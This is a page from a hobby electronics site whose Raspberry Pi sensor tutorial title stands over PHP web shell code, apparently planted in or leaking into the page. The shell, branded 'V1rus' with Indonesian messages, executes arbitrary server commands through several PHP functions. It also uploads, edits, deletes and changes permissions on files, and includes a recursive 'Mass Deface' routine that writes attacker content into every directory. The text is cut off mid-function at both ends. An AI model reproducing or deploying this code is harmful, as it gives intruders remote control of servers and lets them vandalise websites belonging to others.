Nerdegutta's logo

nerdegutta.no

RPi - DHT22 and mySQL

17.12.25

Miscellaneous

&1', $output); return implode(" ", $output); } elseif (function_exists('shell_exec')) { return shell_exec($cmd); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd); return ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); return ob_get_clean(); } return "Command execution disabled."; } function perms($file){ $perms = @fileperms($file); if ($perms === false) return '????'; $info = ''; if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function delete_recursive($target) { if (!file_exists($target)) return true; if (!is_dir($target)) return unlink($target); $items = scandir($target); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; if (!delete_recursive($target . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($target); } function redirect_with_message($msg_type = '', $msg_text = '', $current_path = '') { global $path; $redirect_path = !empty($current_path) ? $current_path : $path; $params = ['path' => $redirect_path]; if ($msg_type) $params['msg_type'] = $msg_type; if ($msg_text) $params['msg_text'] = $msg_text; header("Location: ?" . http_build_query($params)); exit(); } // --- INITIAL SETUP & PATH --- $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace('\','/',$path); // --- HANDLERS FOR ACTIONS THAT REDIRECT --- if(isset($_FILES['file_upload'])){ $file_name = sanitizeFilename($_FILES['file_upload']['name']); if(copy($_FILES['file_upload']['tmp_name'], $path.'/'.$file_name)){ redirect_with_message('success', 'UPLOAD SUCCESS: ' . $file_name, $path); }else{ redirect_with_message('error', 'File Gagal Diupload !!', $path); } } if(isset($_GET['option']) && isset($_POST['opt_action'])){ $target_full_path = $_POST['path_target']; $action = $_POST['opt_action']; $current_dir = isset($_GET['path']) ? $_GET['path'] : getcwd(); switch ($action) { case 'delete': if (file_exists($target_full_path)) { if (delete_recursive($target_full_path)) { redirect_with_message('success', 'DELETE SUCCESS !!', $current_dir); } else { redirect_with_message('error', 'Gagal menghapus! Periksa izin (permission).', $current_dir); } } else { redirect_with_message('error', 'Target tidak ditemukan!', $current_dir); } break; case 'chmod_save': $perm = octdec($_POST['perm_value']); if(chmod($target_full_path,$perm)) redirect_with_message('success', 'CHANGE PERMISSION SUCCESS !!', $current_dir); else redirect_with_message('error', 'Change Permission Gagal !!', $current_dir); break; case 'rename_save': $new_name_base = sanitizeFilename($_POST['new_name_value']); $new_full_path = dirname($target_full_path).'/'.$new_name_base; if(rename($target_full_path, $new_full_path)) redirect_with_message('success', 'CHANGE NAME SUCCESS !!', $current_dir); else redirect_with_message('error', 'Change Name Gagal !!', $current_dir); break; case 'edit_save': if(is_writable($target_full_path)) { if(file_put_contents($target_full_path,$_POST['src_content'])) redirect_with_message('success', 'EDIT FILE SUCCESS !!', $current_dir); else redirect_with_message('error', 'Edit File Gagal !!', $current_dir); } else { redirect_with_message('error', 'File tidak writable!', $current_dir); } break; } } if(isset($_GET['create_new'])) { $create_name = sanitizeFilename($_POST['create_name']); $target_path_new = $path . '/' . $create_name; if ($_POST['create_type'] == 'file') { if (file_put_contents($target_path_new, '') !== false) redirect_with_message('success', 'File Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat file baru!', $path); } elseif ($_POST['create_type'] == 'dir') { if (mkdir($target_path_new)) redirect_with_message('success', 'Folder Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat folder baru!', $path); } } ?> <?php echo htmlspecialchars($title); ?>

V1rus Logo

".htmlspecialchars($_GET['msg_text'])."
"; } ?>
User / IP :
Host / Server :
System :
: /'; $current_built_path = ''; foreach($paths_array as $pat){ if(empty($pat)) continue; $current_built_path .= '/' . $pat; echo ''.htmlspecialchars($pat).'/'; } ?>
'; switch ($current_action) { case 'cmd': $cmd_output = ''; if(isset($_POST['do_cmd'])) { $cmd_output = htmlspecialchars(exe($_POST['cmd_input'])); } echo '

Execute Command

'; echo '
'; echo ''; echo ''; echo '
'; if($cmd_output) { echo '

Output:

'.$cmd_output.'
'; } break; case 'upload_form': echo '

Upload File

'; echo '
'; echo ''; echo ''; echo '
'; break; case 'mass_deface_form': $mass_deface_results = ''; if(isset($_POST['start_mass_deface'])) { function sabun_massal_recursive($dir, $file, $content, &$res) { if(!is_writable($dir)) {$res .= "[FAILED] ".htmlspecialchars($dir)." (Not Writable)
"; return;} foreach(scandir($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[DONE] ".htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file)."
"; sabun_massal_recursive($lokasi, $file, $content, $res); } } } function sabun_biasa($dir, $file, $content, &$res) { if(!is_writable($dir)) {$res .= "[FAILED] ".htmlspecialchars($dir)." (Not Writable)
"; return;} foreach(scandir($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if(is_dir($lokasi) && is_writable($lokasi)) { file_put_contents($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[DONE] ".htmlspecialchars($lokasi.DIRECTORY_SEPARATOR.$file)."
"; } } } if($_POST['tipe_sabun'] == 'mahal') sabun_massal_recursive($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); else sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); } echo '

Mass Deface

'; echo '
'; echo '

Tipe:
Biasa (1 level) | Massal (Rekursif)

'; echo '

Folder Target:

'; echo '

Nama File:

'; echo '

Isi Script:

'; echo ''; echo '
'; if($mass_deface_results) echo '

Hasil:

'.$mass_deface_results.'
'; break; case 'create_form': echo '

Create New File / Folder

'; echo '
'; echo 'Create: '; echo 'Name: '; echo ''; echo '
'; break; case 'delete': $file_to_delete = $_GET['target_file']; echo "

Konfirmasi Hapus: ".htmlspecialchars(basename($file_to_delete))."

"; if (file_exists($file_to_delete)) { echo '

Anda YAKIN ingin menghapus item ini?
Tindakan ini tidak bisa dibatalkan.

'; echo '
BATAL
'; } else { echo '

File atau folder tidak ditemukan!

'; } break; case 'view_file': echo "

Viewing: ".htmlspecialchars(basename($_GET['target_file']))."

"; echo ''; break; case 'edit_form': $target_file = $_GET['target_file']; echo "

Editing: ".htmlspecialchars(basename($target_file))."

"; if(is_writable($target_file)) { $file_content = @file_get_contents($target_file); echo '
'; echo '
'; echo ''; echo ''; echo ''; echo '
'; } else { echo '

File tidak writable! Periksa permission.

'; echo ''; } break; case 'rename_form': echo "

Rename: ".htmlspecialchars(basename($_GET['target_file']))."

"; echo '
New Name:
'; break; case 'chmod_form': echo "

Chmod: ".htmlspecialchars(basename($_GET['target_file']))."

"; $current_perms = substr(sprintf('%o', @fileperms($_GET['target_file'])), -4); echo '
Permission:
'; break; } echo ''; } if ($show_file_list) { echo '
'; $scandir_items = @scandir($path); if ($scandir_items) { usort($scandir_items, function($a, $b) use ($path) { $pathA = $path . '/' . $a; $pa




Name
Size
Perm
Options